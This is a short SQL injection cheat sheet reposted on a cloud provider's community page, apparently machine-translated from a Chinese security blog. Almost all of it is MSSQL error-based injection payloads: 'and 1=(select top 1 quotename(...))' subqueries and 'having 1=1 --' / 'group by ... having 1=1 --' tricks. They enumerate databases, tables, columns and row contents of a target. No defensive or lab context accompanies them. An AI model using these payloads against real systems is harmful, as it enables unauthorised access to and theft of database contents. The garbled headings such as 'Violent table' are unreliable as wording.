Mssql database explosion, table, field, content statement

Source: Internet
Author: User

 

// Database explosion
Select name from sysdatabases
// Violent table
And 1 = (select top 1 quotename (name) from sysobjects where xtype = CHAR (85) and name not in (select top N name from sysobjects where xtype = CHAR (85 )))
// Violent Field
And 1 = (select quotename (col_name (object_id (table), N )))
// Violent content
And 1 = (select top 1 quotename (field) from table where field not in (select top N field from Table ))
// The Name Of The violent current table
Having 1 = 1 --
// Other columns in the current table
Group by table_name.column1, table_name.column2 having 1 = 1 --
This article from the independent waiting blog: http://www.waitalone.cn/original address: html "> http://www.waitalone.cn/post/890.html


 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.